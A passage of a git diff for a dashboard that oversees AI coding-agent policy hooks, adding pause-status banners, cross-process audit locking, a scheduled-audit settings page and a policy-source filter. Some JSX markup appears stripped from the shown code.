must not reach the network, but one tried to fetch ${host}. ` + + `Inject a stub for whatever makes this call (see ConnectOptions' verify / ` + + `verifyIngest / introspect for the pattern). If the call is genuinely ` + + `meant to hit real infrastructure, it belongs in __tests__/e2e/.`, + ); + } + return realFetch(input, init); + }) as typeof fetch; +} diff --git a/app/actions/get-active-pauses.ts b/app/actions/get-active-pauses.ts new file mode 100644 index 00000000..9913dec0 --- /dev/null +++ b/app/actions/get-active-pauses.ts @@ -0,0 +1,16 @@ +"use server"; + +import { listActivePauses } from "@/src/hooks/session-pause"; +import type { ActivePause } from "@/src/hooks/session-pause"; + +/** + * Sessions whose enforcement is paused right now. + * + * Read live rather than derived from activity rows: a pause set seconds ago has + * produced no rows yet, and that is exactly the moment someone needs to be told + * the machine is unguarded. Expiry is applied at read time, so an expired pause + * simply stops appearing. + */ +export async function getActivePausesAction(): Promise { + return listActivePauses(); +} diff --git a/app/actions/get-hooks-config.ts b/app/actions/get-hooks-config.ts index 1e2d3ac0..80a72632 100644 --- a/app/actions/get-hooks-config.ts +++ b/app/actions/get-hooks-config.ts @@ -13,6 +13,7 @@ import { readFile } from "node:fs/promises"; import { existsSync } from "node:fs"; import { homedir } from "node:os"; import { basename, resolve } from "node:path"; +import { customPoliciesDir } from "@/src/hooks/fp-home"; export interface PolicyParamSpec { type: string; @@ -108,7 +109,7 @@ async function discoverConventionPolicies( // resolving at the exact cwd disagrees with it from any subdirectory. const launchCwd = process.env.FAILPROOFAI_LAUNCH_CWD || process.cwd(); const projectDir = resolve(findProjectConfigDir(launchCwd), ".failproofai", "policies"); - const userDir = resolve(homedir(), ".failproofai", "policies"); + const userDir = customPoliciesDir(); const dirs: { scope: "project" | "user"; dir: string }[] = [ { scope: "project", dir: projectDir }, diff --git a/app/actions/get-scheduled-audit.ts b/app/actions/get-scheduled-audit.ts new file mode 100644 index 00000000..a63b63f2 --- /dev/null +++ b/app/actions/get-scheduled-audit.ts @@ -0,0 +1,70 @@ +"use server"; + +/** + * Read side of the /settings "Scheduled audit" section. Reads only — the write + * counterparts live in `update-scheduled-audit.ts`, mirroring the + * get-hooks-config / update-hooks-config split. + * + * ## CLI ⟷ dashboard parity (state it here so the two cannot silently diverge) + * + * Every field this returns is the same `config.toml` / state the CLI reads: + * - `auto` ⟷ `config.toml [audit] auto` (readConfig / updateConfig; + * the same key the `failproofai config` wizard sets) + * - `intervalDays` ⟷ `config.toml [audit] interval_days` (readConfig owns the + * 1..90 clamp — see fp-config.readIntervalDays) + * - `daemon` ⟷ `systemctl status failproofaid@` (daemonServiceStatus) + * - `schedule` ⟷ `state/audit-schedule.json` (daemon-written; readAuditSchedule) + * There is no bespoke dashboard storage here: writing goes through the exact + * same `updateConfig` the CLI uses, so a value set on either side is identical. + */ + +import { readConfig } from "@/src/hooks/fp-config"; +import { readAuditSchedule } from "@/src/audit/audit-schedule"; +import { daemonServiceStatus, type DaemonServiceStatus } from "@/src/hooks/daemon-service"; +import { readDashboardCacheMeta } from "@/src/audit/dashboard-cache"; + +export interface ScheduledAuditSchedule { + nextDueAtMs: number | null; + lastAttemptAtMs: number | null; + lastRunAtMs: number | null; + lastExitCode: number | null; + schemaAhead: boolean; +} + +export interface ScheduledAuditView { + /** `[audit] auto` — whether the daemon scans on a timer. */ + auto: boolean; + /** `[audit] interval_days`, already clamped to 1..90 by readConfig. */ + intervalDays: number; + /** The systemd/launchd service state. The scheduler cannot run without a + * running daemon, so a settings page that hides this reads "on but silent". */ + daemon: DaemonServiceStatus; + /** The daemon's persisted schedule, or null when no scheduled scan has run. */ + schedule: ScheduledAuditSchedule | null; + /** ISO time of the most recent audit RESULT on disk (scheduled OR manual), + * or null if no audit has ever produced a dashboard. Distinct from + * `schedule.lastRunAtMs`, which is scheduled runs only. */ + lastResultAt: string | null; +} + +export async function getScheduledAuditAction(): Promise { + const config = readConfig(); + const schedule = readAuditSchedule(); + const meta = readDashboardCacheMeta(); + + return { + auto: config.audit.auto, + intervalDays: config.audit.intervalDays, + daemon: daemonServiceStatus(), + schedule: schedule + ? { + nextDueAtMs: schedule.nextDueAtMs, + lastAttemptAtMs: schedule.lastAttemptAtMs, + lastRunAtMs: schedule.lastRunAtMs, + lastExitCode: schedule.lastExitCode, + schemaAhead: schedule.schemaAhead, + } + : null, + lastResultAt: meta?.cachedAt ?? null, + }; +} diff --git a/app/actions/update-scheduled-audit.ts b/app/actions/update-scheduled-audit.ts new file mode 100644 index 00000000..8417fe70 --- /dev/null +++ b/app/actions/update-scheduled-audit.ts @@ -0,0 +1,44 @@ +"use server"; + +/** + * Write side of the /settings "Scheduled audit" section. Every write goes + * through `updateConfig` — never a raw file write — so the layout-2 config + * helpers stay the single writer of `config.toml` and the dashboard can never + * disagree with what the CLI reads. + * + * ## CLI ⟷ dashboard parity + * - `setAutoAuditAction(enabled)` ⟷ `[audit] auto` (updateConfig) + * - `setAuditIntervalAction(days)` ⟷ `[audit] interval_days` (updateConfig) + * Both keys are exactly what the `failproofai config` wizard writes, so a value + * set here is indistinguishable from one set on the CLI. + */ + +import { readConfig, updateConfig } from "@/src/hooks/fp-config"; + +/** + * Turn the scheduled scan on or off. + * + * Returns the value actually stored (re-read), so an optimistic UI can confirm + * against the source of truth rather than assume its own guess landed. + */ +export async function setAutoAuditAction(enabled: boolean): Promise<{ auto: boolean }> { + const next = updateConfig({ audit: { auto: enabled } }); + return { auto: next.audit.auto }; +} + +/** + * Set the days between scheduled scans. + * + * The clamp lives in `fp-config.readIntervalDays` (1..90, with 0/negatives/ + * fractions falling back to the default) and is DELIBERATELY not reimplemented + * here: we write the raw value and then RE-READ, so what we return to the UI is + * exactly what the config decided to keep. Reflecting the re-read value is how a + * hand-typed 3650 shows up in the dashboard as the 90 the config actually + * enforces, with no second copy of the bounds to drift. + */ +export async function setAuditIntervalAction(days: number): Promise<{ intervalDays: number }> { + updateConfig({ audit: { intervalDays: days } }); + // Re-read through readConfig so the returned value carries the config's own + // clamp, not the raw input. + return { intervalDays: readConfig().audit.intervalDays }; +} diff --git a/app/api/audit/run/route.ts b/app/api/audit/run/route.ts index 85b125fa..005a25ce 100644 --- a/app/api/audit/run/route.ts +++ b/app/api/audit/run/route.ts @@ -17,6 +17,7 @@ import { writeDashboardCache } from "@/src/audit/dashboard-cache"; import { INTEGRATION_TYPES, type IntegrationType } from "@/src/hooks/types"; import type { RunAuditOptions } from "@/src/audit/types"; import { finishRun, tryAcquireRun } from "../_state"; +import { acquireAuditLock } from "@/src/audit/audit-lock"; import { initTelemetry, trackEvent } from "@/lib/telemetry"; import { sanitizeErrorMessage } from "@/lib/telemetry-sanitize"; @@ -90,6 +91,26 @@ export async function POST(request: NextRequest): Promise { ); } + // The in-memory lock above only serialises runs WITHIN this Next.js process. + // The scheduled daemon child and a manual `failproofai audit` are separate + // processes writing the same sha1-keyed per-transcript cache and the same + // single-slot dashboard cache — three writers, and the module singleton is + // blind to the other two. Take the cross-process lock as well so this run + // cannot co-write that cache with one of them. Held ⇒ back the in-memory lock + // out and report "already running" — the same 409 the client already treats + // as "poll the in-flight run"; /api/audit/status reflects the cross-process + // lock via readActiveAuditLock, so the poll waits out the external scan rather + // than reading the machine as idle. This is information, not an error. + const auditLock = acquireAuditLock("dashboard"); + if (!auditLock.ok) { + finishRun(null); // release the in-memory lock we just took + trackEvent("audit_run_rejected", { source: "dashboard", reason: "cross_process_lock" }); + return NextResponse.json( + { error: "Audit already running", status: "already-running" }, + { status: 409 }, + ); + } + // Mirror the CLI's cli_audit_* funnel for the dashboard path (which shares the // same runAudit() core but previously emitted no server telemetry at all). trackEvent("audit_run_started", { @@ -133,6 +154,13 @@ export async function POST(request: NextRequest): Promise { error_message: sanitizeErrorMessage(err), }); finishRun(err instanceof Error ? err.message : String(err)); + } finally { + // Release the cross-process lock the moment the scan settles — before the + // in-memory lock is even relevant again — so the next scheduled tick or a + // `failproofai audit` is not locked out longer than the scan actually ran. + // Idempotent and never throws; the process-exit hook is the backstop if + // this task is killed outright. + auditLock.lock.release(); } })(); diff --git a/app/api/audit/status/route.ts b/app/api/audit/status/route.ts index 52134fac..8c44c231 100644 --- a/app/api/audit/status/route.ts +++ b/app/api/audit/status/route.ts @@ -8,6 +8,7 @@ */ import { NextResponse } from "next/server"; import { readDashboardCache } from "@/src/audit/dashboard-cache"; +import { readActiveAuditLock } from "@/src/audit/audit-lock"; import { getRunState } from "../_state"; export const dynamic = "force-dynamic"; @@ -15,8 +16,19 @@ export const dynamic = "force-dynamic"; export async function GET(): Promise { const state = getRunState(); const cache = readDashboardCache(); + // `running` must answer "is a scan running on this MACHINE", not just "in this + // process". The in-memory state only sees dashboard-initiated runs; a + // scheduled daemon child or a `failproofai audit` writes the same cache from + // another process and holds the cross-process lock instead. Fold that in so a + // client polling after a 409 (or the settings page on mount) sees the machine + // as busy and waits it out, rather than reading idle and clobbering a live + // scan's cache. `readActiveAuditLock` applies the same dead-pid/age staleness + // rules as acquire, so a crashed run's leftover lockfile never wedges this at + // "running" forever. + const externalLock = readActiveAuditLock(); + const externallyRunning = externalLock !== null && externalLock.pid !== process.pid; return NextResponse.json({ - running: state.running, + running: state.running || externallyRunning, startedAt: state.startedAt ?? null, cachedAt: cache?.cachedAt ?? null, error: state.error, diff --git a/app/api/auth/status/route.ts b/app/api/auth/status/route.ts index 9cdeb642..34d316bc 100644 --- a/app/api/auth/status/route.ts +++ b/app/api/auth/status/route.ts @@ -3,7 +3,7 @@ * * Returns the currently signed-in identity by reading the local * `~/.failproofai/auth.json` cache. No round-trip to the api-server — the - * file is the source of truth, same as the CLI's `failproofai auth whoami`. + * file is the source of truth for who is signed in on this machine. * This keeps the dashboard UI and the CLI consistent regardless of whether * the api-server is reachable. * diff --git a/app/audit/_components/auth-dialog.css b/app/audit/_components/auth-dialog.css new file mode 100644 index 00000000..7b626cc7 --- /dev/null +++ b/app/audit/_components/auth-dialog.css @@ -0,0 +1,159 @@ +/* Styles for — co-located with the component and imported by it, + * NOT living in a route stylesheet. + * + * Why here: the dialog was first used only on /audit, so these rules used to sit + * in audit-styles.css (route-scoped to /audit). The /settings page reuses the + * same component to lead a signed-out user into the existing OTP login flow, and + * a route stylesheet would not load there — the modal would render unstyled. + * Importing this file from auth-dialog.tsx makes the CSS travel with the + * component to every route that renders it. Every var below is defined in + * globals.css :root, so it resolves anywhere. + */ + +.auth-dialog-backdrop { + position: fixed; inset: 0; z-index: 10000; + display: grid; place-items: center; + padding: 32px 16px; + background: rgba(8,8,10,0.7); + backdrop-filter: blur(6px); + -webkit-backdrop-filter: blur(6px); +} + +.auth-dialog { + position: relative; + width: 100%; + max-width: 420px; + padding: 28px 28px 24px; + border: 1px solid var(--line-2); + background: var(--bg-2); + font-family: var(--font-mono); + color: var(--ink); +} + +.auth-close { + position: absolute; top: 12px; right: 14px; + font-family: var(--font-mono); font-size: 20px; + line-height: 1; + color: var(--dim); + background: transparent; border: none; padding: 4px 8px; + cursor: pointer; + transition: color 120ms; +} +.auth-close:hover { color: var(--accent-pink); } +.auth-close:disabled { color: var(--line-2); cursor: not-allowed; } + +.auth-headline { + font-family: var(--font-mono); + font-size: 18px; + font-weight: 600; + letter-spacing: 0; + line-height: 1.3; + text-transform: none; + color: var(--ink); + margin: 0 0 8px; +} + +.auth-sub { + font-family: var(--font-mono); font-size: 12px; + line-height: 1.55; color: var(--ink-2); + margin: 0 0 18px; +} +.auth-sub .auth-email { + color: var(--accent-pink); +} +.auth-sub .auth-ok { + color: var(--accent-green); + margin-right: 6px; +} + +.auth-form { display: flex; flex-direction: column; gap: 10px; } + +.auth-field-label { + font-family: var(--font-mono); font-size: 10px; + letter-spacing: 0.22em; text-transform: uppercase; + color: var(--accent-green); +} + +.auth-input { + width: 100%; + padding: 11px 14px; + background: var(--bg); + border: 1px solid var(--line-2); + color: var(--ink); + font-family: var(--font-mono); font-size: 14px; + letter-spacing: 0.03em; + outline: none; + transition: border-color 120ms, box-shadow 120ms; +} +.auth-input:focus { + border-color: var(--accent-pink); + box-shadow: 0 0 0 1px var(--accent-pink-soft); +} +.auth-input:disabled { + opacity: 0.55; cursor: not-allowed; +} +.auth-input-code { + letter-spacing: 0.5em; + text-align: center; + font-size: 18px; + font-variant-numeric: tabular-nums; +} +.auth-input::placeholder { color: var(--dim); } + +.auth-error { + font-family: var(--font-mono); font-size: 12px; + color: var(--accent-pink); + padding: 8px 12px; + background: var(--accent-pink-bg); + border: 1px solid var(--accent-pink); + border-left-width: 3px; + letter-spacing: 0.02em; + margin-top: 4px; +} + +.auth-actions { + display: flex; gap: 10px; flex-wrap: wrap; + margin-top: 14px; +} + +.auth-btn { + display: inline-flex; align-items: center; gap: 8px; + padding: 10px 16px; + font-family: var(--font-mono); font-size: 12px; + letter-spacing: 0.06em; + background: transparent; + border: 1px solid var(--line-2); + color: var(--ink); + cursor: pointer; + transition: all 120ms ease; +} +.auth-btn:hover:not(:disabled) { + border-color: var(--ink); background: rgba(255,255,255,0.04); +} +.auth-btn:disabled { opacity: 0.45; cursor: not-allowed; } +.auth-btn.primary { + border-color: var(--accent-pink); + color: var(--accent-pink); + background: var(--accent-pink-bg); +} +.auth-btn.primary:hover:not(:disabled) { + background: var(--accent-pink); color: var(--bg); +} + +.auth-back { + align-self: flex-start; + margin-top: 4px; + background: transparent; border: none; padding: 6px 0; + font-family: var(--font-mono); font-size: 11px; + letter-spacing: 0.1em; color: var(--dim); + cursor: pointer; + transition: color 120ms; +} +.auth-back:hover:not(:disabled) { color: var(--ink-2); } +.auth-back:disabled { opacity: 0.45; cursor: not-allowed; } + +@media (max-width: 520px) { + .auth-dialog { padding: 26px 22px 22px; } + .auth-actions { flex-direction: column; align-items: stretch; } + .auth-btn { justify-content: center; } +} diff --git a/app/audit/_components/auth-dialog.tsx b/app/audit/_components/auth-dialog.tsx index 6654396b..b37cf2f5 100644 --- a/app/audit/_components/auth-dialog.tsx +++ b/app/audit/_components/auth-dialog.tsx @@ -16,6 +16,9 @@ import React, { useCallback, useEffect, useRef, useState } from "react"; import { usePostHog } from "@/contexts/PostHogContext"; import { fetchWithTimeout, isAbortError } from "@/lib/fetch-with-timeout"; +// Co-located so the dialog is styled on EVERY route that renders it (/audit and +// /settings), not only the one route stylesheet these rules used to live in. +import "./auth-dialog.css"; export interface AuthedUser { id: string; diff --git a/app/audit/audit-styles.css b/app/audit/audit-styles.css index 8b504e2f..9d084353 100644 --- a/app/audit/audit-styles.css +++ b/app/audit/audit-styles.css @@ -255,155 +255,12 @@ margin-right: 6px; } -/* ───────────────────────── auth dialog (set-a-reminder gate) ───────────────────────── */ - -.auth-dialog-backdrop { - position: fixed; inset: 0; z-index: 10000; - display: grid; place-items: center; - padding: 32px 16px; - background: rgba(8,8,10,0.7); - backdrop-filter: blur(6px); - -webkit-backdrop-filter: blur(6px); -} - -.auth-dialog { - position: relative; - width: 100%; - max-width: 420px; - padding: 28px 28px 24px; - border: 1px solid var(--line-2); - background: var(--bg-2); - font-family: var(--font-mono); - color: var(--ink); -} - -.auth-close { - position: absolute; top: 12px; right: 14px; - font-family: var(--font-mono); font-size: 20px; - line-height: 1; - color: var(--dim); - background: transparent; border: none; padding: 4px 8px; - cursor: pointer; - transition: color 120ms; -} -.auth-close:hover { color: var(--accent-pink); } -.auth-close:disabled { color: var(--line-2); cursor: not-allowed; } - -.auth-headline { - font-family: var(--font-mono); - font-size: 18px; - font-weight: 600; - letter-spacing: 0; - line-height: 1.3; - text-transform: none; - color: var(--ink); - margin: 0 0 8px; -} - -.auth-sub { - font-family: var(--font-mono); font-size: 12px; - line-height: 1.55; color: var(--ink-2); - margin: 0 0 18px; -} -.auth-sub .auth-email { - color: var(--accent-pink); -} -.auth-sub .auth-ok { - color: var(--accent-green); - margin-right: 6px; -} - -.auth-form { display: flex; flex-direction: column; gap: 10px; } - -.auth-field-label { - font-family: var(--font-mono); font-size: 10px; - letter-spacing: 0.22em; text-transform: uppercase; - color: var(--accent-green); -} - -.auth-input { - width: 100%; - padding: 11px 14px; - background: var(--bg); - border: 1px solid var(--line-2); - color: var(--ink); - font-family: var(--font-mono); font-size: 14px; - letter-spacing: 0.03em; - outline: none; - transition: border-color 120ms, box-shadow 120ms; -} -.auth-input:focus { - border-color: var(--accent-pink); - box-shadow: 0 0 0 1px var(--accent-pink-soft); -} -.auth-input:disabled { - opacity: 0.55; cursor: not-allowed; -} -.auth-input-code { - letter-spacing: 0.5em; - text-align: center; - font-size: 18px; - font-variant-numeric: tabular-nums; -} -.auth-input::placeholder { color: var(--dim); } - -.auth-error { - font-family: var(--font-mono); font-size: 12px; - color: var(--accent-pink); - padding: 8px 12px; - background: var(--accent-pink-bg); - border: 1px solid var(--accent-pink); - border-left-width: 3px; - letter-spacing: 0.02em; - margin-top: 4px; -} - -.auth-actions { - display: flex; gap: 10px; flex-wrap: wrap; - margin-top: 14px; -} - -.auth-btn { - display: inline-flex; align-items: center; gap: 8px; - padding: 10px 16px; - font-family: var(--font-mono); font-size: 12px; - letter-spacing: 0.06em; - background: transparent; - border: 1px solid var(--line-2); - color: var(--ink); - cursor: pointer; - transition: all 120ms ease; -} -.auth-btn:hover:not(:disabled) { - border-color: var(--ink); background: rgba(255,255,255,0.04); -} -.auth-btn:disabled { opacity: 0.45; cursor: not-allowed; } -.auth-btn.primary { - border-color: var(--accent-pink); - color: var(--accent-pink); - background: var(--accent-pink-bg); -} -.auth-btn.primary:hover:not(:disabled) { - background: var(--accent-pink); color: var(--bg); -} - -.auth-back { - align-self: flex-start; - margin-top: 4px; - background: transparent; border: none; padding: 6px 0; - font-family: var(--font-mono); font-size: 11px; - letter-spacing: 0.1em; color: var(--dim); - cursor: pointer; - transition: color 120ms; -} -.auth-back:hover:not(:disabled) { color: var(--ink-2); } -.auth-back:disabled { opacity: 0.45; cursor: not-allowed; } - -@media (max-width: 520px) { - .auth-dialog { padding: 26px 22px 22px; } - .auth-actions { flex-direction: column; align-items: stretch; } - .auth-btn { justify-content: center; } -} +/* ───────────────────────── auth dialog (set-a-reminder gate) ───────────────────────── + * The dialog's own styles moved to app/audit/_components/auth-dialog.css, which + * imports directly, so the modal is styled on every route that + * renders it (/audit and now /settings) rather than only this route stylesheet. + * The `.auth-status-pill` below stays here — it belongs to the /audit return + * CTA (come-back-better-section), not the dialog. */ /* status pill in the return CTA: shows current logged-in email */ .auth-status-pill { diff --git a/app/components/pause-notices.tsx b/app/components/pause-notices.tsx new file mode 100644 index 00000000..840862f1 --- /dev/null +++ b/app/components/pause-notices.tsx @@ -0,0 +1,111 @@ +"use client"; + +/** + * The dashboard's rendering of a paused machine. + * + * Split out of `hooks-client.tsx` because these are the pieces that keep the + * activity view honest: a row evaluated during a pause looks identical to one + * where every policy ran and allowed, and without saying so the log asserts a + * clean window over exactly the window that was not enforced. + */ +import React, { useEffect, useState } from "react"; +import { ShieldAlert, TriangleAlert } from "lucide-react"; +import type { ActivePause } from "@/src/hooks/session-pause"; + +/** Compact "time left" for a future timestamp. */ +export function formatRemaining(ms: number): string { + if (ms <= 0) return "expiring now"; + // Sub-minute is checked before rounding: Math.round(30s) is "1m", which tells + // someone they have more time than they do. On a countdown to enforcement + // coming back, never round up. + if (ms < 60_000) return "under a minute"; + const minutes = Math.round(ms / 60_000); + if (minutes < 60) return `${minutes}m`; + const hours = Math.floor(minutes / 60); + const rest = minutes % 60; + return rest === 0 ? `${hours}h` : `${hours}h${rest}m`; +} + +/** + * Live state, not history: enforcement is paused RIGHT NOW. + * + * The rows below cannot carry this on their own — a pause set seconds ago has + * produced none yet, and that is precisely when someone needs telling that the + * machine is unguarded. An absent banner has to mean "enforcing", so this is fed + * from live pause state rather than inferred from whatever is on screen. + */ +export function PausedBanner({ pauses, now: nowProp }: { pauses: ActivePause[]; now?: number }) { + const [tick, setTick] = useState(() => Date.now()); + // Re-render on a timer so "22m left" does not sit frozen while the pause + // silently drains away. + useEffect(() => { + const id = setInterval(() => setTick(Date.now()), 30_000); + return () => clearInterval(id); + }, []); + const now = nowProp ?? tick; + + // Filter again here rather than trusting the fetch: the list was accurate + // when it arrived, and a short pause can expire between polls. + const live = pauses.filter((p) => p.expiresAt > now); + if (live.length === 0) return null; + const soonest = live.reduce((a, b) => (a.expiresAt < b.expiresAt ? a : b)); + + return ( +
+
+ ); +} + +/** Marks a row that was evaluated while enforcement was paused. */ +export function PausedPill() { + return ( + + paused + + ); +} + +/** Why an `allow` on this row proves nothing. */ +export function PausedNote({ + item, +}: { + item: { pausedBy?: string; pauseExpiresAt?: number }; +}) { + if (!item.pausedBy) return null; + const lifted = + typeof item.pauseExpiresAt === "number" + ? new Date(item.pauseExpiresAt).toLocaleTimeString() + : null; + return ( +
+
+ ); +} diff --git a/app/policies/hooks-client.tsx b/app/policies/hooks-client.tsx index 493fc451..e6d2e0ea 100644 --- a/app/policies/hooks-client.tsx +++ b/app/policies/hooks-client.tsx @@ -7,6 +7,9 @@ import { Check, ChevronDown, Code, Copy, Settings, Shield, ShieldAlert, ShieldCh import PaginationControls from "@/app/components/pagination-controls"; import { getHookActivityAction, searchHookActivityAction } from "@/app/actions/get-hook-activity"; import type { HookActivityPayload } from "@/app/actions/get-hook-activity"; +import { getActivePausesAction } from "@/app/actions/get-active-pauses"; +import type { ActivePause } from "@/src/hooks/session-pause"; +import { PausedBanner, PausedNote, PausedPill } from "@/app/components/pause-notices"; import { getHooksConfigAction } from "@/app/actions/get-hooks-config"; import type { HooksConfigPayload, PolicyInfo, CustomPolicyInfo } from "@/app/actions/get-hooks-config"; import type { IntegrationType } from "@/src/hooks/types"; @@ -386,7 +389,27 @@ function DetailPanel({ event detail
+ + {item.policySource && ( +
+ Decided by: + + {item.policySource === "cloud" && item.cloudPolicyId + ? `cloud · ${item.cloudPolicyId} rev ${item.cloudRevision}` + : item.policySource} + +
+ )} + {item.cloudGeneration !== undefined && ( +
+ {/* Present on every row of a managed machine, not just cloud + decisions — it is what separates a rollout that changed no + outcomes from one that never arrived. */} + Cloud generation: + {item.cloudGeneration} +
+ )}
Session ID: @@ -443,6 +466,7 @@ function ActivityTab({ const [page, setPage] = useState(() => paramToPage(url.get("page"))); const [data, setData] = useState(null); + const [activePauses, setActivePauses] = useState([]); const [expandedRow, setExpandedRow] = useState(null); const [filterDecision, setFilterDecision] = useState<"" | "allow" | "deny" | "instruct">(() => { @@ -456,10 +480,14 @@ function ActivityTab({ const v = url.get("cli"); return isKnownCli(v) ? v : ""; }); + const [filterSource, setFilterSource] = useState<"" | "builtin" | "custom" | "convention" | "cloud">(() => { + const v = url.get("source"); + return v === "builtin" || v === "custom" || v === "convention" || v === "cloud" ? v : ""; + }); const debounceRef = useRef | null>(null); const filterTelemetryFirstRunRef = useRef(true); - const filtersRef = useRef({ filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli }); - filtersRef.current = { filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli }; + const filtersRef = useRef({ filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli, filterSource }); + filtersRef.current = { filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli, filterSource }; useEffect(() => { if (!mountedRef.current) { @@ -472,17 +500,18 @@ function ActivityTab({ policy: filterPolicy || undefined, session: filterSessionId || undefined, cli: filterCli || undefined, + source: filterSource || undefined, page: pageToParam(page), }); // eslint-disable-next-line react-hooks/exhaustive-deps - }, [filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli, page]); + }, [filterDecision, filterEventType, filterPolicy, filterSessionId, filterCli, filterSource, page]); - const hasActiveFilters = filterDecision !== "" || filterEventType !== "" || filterPolicy !== "" || filterSessionId !== "" || filterCli !== ""; + const hasActiveFilters = filterDecision !== "" || filterEventType !== "" || filterPolicy !== "" || filterSessionId !== "" || filterCli !== "" || filterSource !== ""; const fetchData = useCallback(async (p: number) => { try { - const { filterDecision: fd, filterEventType: fe, filterPolicy: fp, filterSessionId: fs, filterCli: fc } = filtersRef.current; - const active = fd !== "" || fe !== "" || fp !== "" || fs !== "" || fc !== ""; + const { filterDecision: fd, filterEventType: fe, filterPolicy: fp, filterSessionId: fs, filterCli: fc, filterSource: fsrc } = filtersRef.current; + const active = fd !== "" || fe !== "" || fp !== "" || fs !== "" || fc !== "" || fsrc !== ""; let result: HookActivityPayload; if (active) { result = await searchHookActivityAction( @@ -492,6 +521,7 @@ function ActivityTab({ policyName: fp || undefined, sessionId: fs || undefined, integration: fc || undefined, + source: fsrc || undefined, }, p, ); @@ -511,6 +541,22 @@ function ActivityTab({ return () => clearInterval(id); }, [page, fetchData, intervalSec]); + // Pause state is polled independently of the activity page: it is live + // machine state, not a property of whichever rows are on screen, and it must + // keep updating while the user sits on page 3 of history. + useEffect(() => { + let cancelled = false; + const load = () => { + getActivePausesAction() + .then((p) => { if (!cancelled) setActivePauses(p); }) + .catch(() => { /* non-critical: the banner simply stays hidden */ }); + }; + load(); + const ms = intervalSec > 0 ? intervalSec * 1000 : 5000; + const id = setInterval(load, ms); + return () => { cancelled = true; clearInterval(id); }; + }, [intervalSec]); + useEffect(() => { if (debounceRef.current) clearTimeout(debounceRef.current); debounceRef.current = setTimeout(() => { @@ -565,6 +611,10 @@ function ActivityTab({ return ( <> + {/* Above the stats, deliberately: a paused machine is the most important + thing on this screen, and the numbers below it are being produced with + local enforcement switched off. */} + {data?.stats && data.stats.totalEvents > 0 && (
@@ -593,6 +643,29 @@ function ActivityTab({
+
+ {/* "What did my organization's policies decide here?" is the + question cloud rollout reporting rests on, and it is + unanswerable while the source is only a prefix on a name. */} + source + +
cli setIntervalDays(Number(e.target.value))} + onBlur={(e) => { + const v = Number(e.target.value); + // A cleared/garbage field must not persist NaN — snap back to the + // stored value and let the config keep owning the real bounds. + if (!Number.isFinite(v)) { + setIntervalDays(view.intervalDays); + return; + } + if (v !== view.intervalDays) void commitInterval(v); + }} + style={{ + width: 64, + padding: "6px 8px", + background: "var(--bg)", + border: "1px solid var(--line-2)", + color: "var(--ink)", + fontFamily: "var(--font-mono)", + fontSize: 13, + textAlign: "center", + }} + /> + day{interval === 1 ? "" : "s"}. + 1–90; the config keeps it in range. +
+ + {/* Last run / next due — read from the daemon-written schedule file. */} +
+ {running && ( +

A scan is running now…

+ )} + + {/* Last run */} + {sched?.lastRunAtMs != null ? ( +

+ Last scheduled scan:{" "} + {fmtAbsolute(sched.lastRunAtMs)}{" "} + ({formatRelativeTime(sched.lastRunAtMs)}) +

+ ) : view.lastResultAt ? ( +

+ Last audit result:{" "} + {fmtAbsolute(new Date(view.lastResultAt).getTime())}{" "} + (no scheduled scan has run yet) +

+ ) : ( +

No scan has run yet.

+ )} + + {/* Next due */} + {auto ? ( + sched?.nextDueAtMs != null ? ( +

+ Next scan due:{" "} + {fmtAbsolute(sched.nextDueAtMs)}{" "} + ({fmtFuture(sched.nextDueAtMs)}) +

+ ) : ( +

+ Next scan:{" "} + the daemon will schedule it shortly. +

+ ) + ) : ( +

Scheduled scanning is off — no scan is scheduled.

+ )} + + {lastExitBad && ( +

+ The last scheduled scan exited with code {sched?.lastExitCode}. It will retry on the + next tick. +

+ )} + {sched?.schemaAhead && ( +

+ A newer daemon wrote this schedule; some fields may not be shown. +

+ )} +
+ + {/* Degraded daemon guidance — say plainly why "on" may still not run. */} + {auto && daemonInactive && ( +

+ {daemonUnsupported ? ( + <>The background daemon isn't available on this platform, so scheduled scans + can't run here. You can still run one now, and use the audit page. + ) : view.daemon === "not-installed" ? ( + <>Scheduled scanning is on, but the background service isn't installed, so nothing + will run on the timer yet. Install it with failproofai config. + ) : ( + <>Scheduled scanning is on, but the background service is stopped, so nothing will run + until it starts. Reinstall or repair it with failproofai config. + )} +

+ )} + + {/* Run now — reuses the existing /api/audit/run route via triggerRun. */} +
+ +
+
+ ); +} + +// ── page ───────────────────────────────────────────────────────────────────── + +export default function SettingsClient() { + const [scheduled, setScheduled] = useState(null); + const [loading, setLoading] = useState(true); + const [error, setError] = useState(false); + const mounted = useRef(true); + + const reload = useCallback(async () => { + const s = await getScheduledAuditAction(); + if (!mounted.current) return; + setScheduled(s); + }, []); + + useEffect(() => { + mounted.current = true; + (async () => { + try { + await reload(); + } catch { + if (mounted.current) setError(true); + } finally { + if (mounted.current) setLoading(false); + } + })(); + return () => { + mounted.current = false; + }; + }, [reload]); + + return ( +
+
+

+ Settings +

+

+ Machine-level controls for scheduled scanning and emailed reports. +

+ + {loading ? ( +

Loading…

+ ) : error || !scheduled ? ( +

+ Could not load settings. Refresh to try again. +

+ ) : ( + + )} +
+
+ ); +} diff --git a/bin/failproofai-worker.mjs b/bin/failproofai-worker.mjs new file mode 100644 index 00000000..c2c67810 --- /dev/null +++ b/bin/failproofai-worker.mjs @@ -0,0 +1,51 @@ +#!/usr/bin/env node +/** + * failproofai-worker — the warm worker process failproofaid (the Rust + * supervisor) spawns and supervises. NOT a user-facing entry point (no + * "bin" entry in package.json) — the daemon always invokes this directly by + * path, either `node bin/failproofai-worker.mjs` (dev, via + * FAILPROOFAI_WORKER_CMD) or the built `dist/worker.mjs` in production. + * + * Reads FAILPROOFAI_WORKER_SOCKET for where to listen — the daemon resolves + * and passes this; the worker never guesses a path of its own. + */ +import { realpathSync } from "node:fs"; +import { dirname, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +if (!process.env.FAILPROOFAI_PACKAGE_ROOT) { + process.env.FAILPROOFAI_PACKAGE_ROOT = resolve( + dirname(realpathSync(fileURLToPath(import.meta.url))), + ".." + ); +} + +if (!process.env.FAILPROOFAI_DIST_PATH) { + process.env.FAILPROOFAI_DIST_PATH = resolve( + dirname(realpathSync(fileURLToPath(import.meta.url))), + "..", + "dist" + ); +} + +const socketPath = process.env.FAILPROOFAI_WORKER_SOCKET; +if (!socketPath) { + console.error("[failproofai-worker] 